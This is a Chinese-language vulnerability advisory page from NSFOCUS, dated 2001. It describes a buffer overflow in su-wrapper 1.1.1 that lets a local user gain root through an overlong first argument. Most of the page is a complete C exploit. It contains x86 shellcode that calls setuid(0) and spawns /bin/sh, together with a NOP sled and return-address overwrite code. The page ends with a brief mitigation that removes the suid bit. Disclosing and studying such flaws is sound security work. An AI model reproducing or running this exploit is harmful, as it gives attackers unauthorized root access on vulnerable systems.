首页 -> 安全研究
安全研究
安全漏洞
Suid Wrapper 本地缓冲区溢出漏洞
发布日期:2001-06-07
更新日期:2001-06-11
受影响系统:
描述:
kosch suid wrapper 1.1.1
BUGTRAQ ID : 2837
suid wrapper('su-wrapper')中存在一个缓冲区溢出漏洞,本地攻击者可能获取root权限。
当把一个超过1032字节字符串作为su wrapper的第一个参数时,将触发一个缓冲区溢出。
由于su-wrapper被设置了suid root属性,本地攻击者可以以root权限执行任意代码。
<*来源:dex (dexgod@softhome.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/* - su-wrapper.c - */
/*************************************************************************/
/* /usr/sbin/su-wrapper(su-wrapper 1.1.1) local root exploit. */
/* */
/* Package Description: */
/* su-wrapper is an little util which lets special users execute */
/* processes under another uid/gid. */
/* */
/* Vulnerability Description: */
/* If a long line on the first argument is gived, the program sends */
/* a SIGSEGV Signal. */
/* */
/* Affected: All Systems who have su-wrapper installed :P */
/* */
/* I don't know if other versions are vulnerable too. */
/* */
/* This bug was reported to Enrico Weigelt (weigelt@nibiru.thur.de) */
/* */
/* Greets: NOP, dr_fdisk^, yield, vlad, dead, fatal, kuk, neuro, alt3kx, */
/* etc */
/* dex: dexgod@softhome.net <> http://www.raza-mexicana.org - */
/*************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFFERSIZE 1032
#define OFFSET 0
#define ALIGN 0
static char shellcode[]=
"\x29\xc0" /* subl %eax, %eax */
"\xb0\x46" /* movb $70, %al */
"\x29\xdb" /* subl %ebx, %ebx */
"\xb3\x0c" /* movb $12, %bl */
"\x80\xeb\x0c" /* subb $12, %bl */
"\x89\xd9" /* movl %ebx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xeb\x18" /* jmp callz */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe3\xff\xff\xff" /* call start */
"\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv) {
int i;
unsigned long addr;
char *buffer;
int buffersize = BUFFERSIZE;
int offset = OFFSET;
int align = ALIGN;
if(argc > 1) offset = atoi(argv[1]);
if(argc > 2) align = atoi(argv[2]);
if(argc > 3) buffersize = atoi(argv[3]);
buffer = (char *)malloc(buffersize +8);
addr = get_sp() - offset;
for(i = 0; i < buffersize; i+=4) {
*(long *)&buffer[i] = 0x90909090;
}
*(long *)&buffer[buffersize - 4] = addr;
*(long *)&buffer[buffersize - 8] = addr;
memcpy(buffer + buffersize - 8 - strlen(shellcode) - align, shellcode, strlen(shellcode));
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
printf("[x] su-wrapper 1.1.1 local root exploit\n");
printf("[x] dex: - dexgod@softhome.net <> http://www.raza-mexicana.org - \n");
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
printf("[x] Address = 0x%x, Align = %d, Offset = %d\n", addr, align, offset);
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
printf("[x] Exploiting...\n");
if ((execl("/usr/sbin/su-wrapper", "su-wrapper", buffer, NULL)) != 0) {
printf("Could not start su-wrapper, /usr/sbin/su-wrapper exists?\n");
}
}
建议:
NSFOCUS建议您暂时去掉su-wrapper的suid属性:
# chmod a-s /usr/sbin/su-wrapper
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://sourceforge.net/projects/su-wrapper/
浏览次数:3870
严重程度:0(网友投票)
绿盟科技给您安全的保障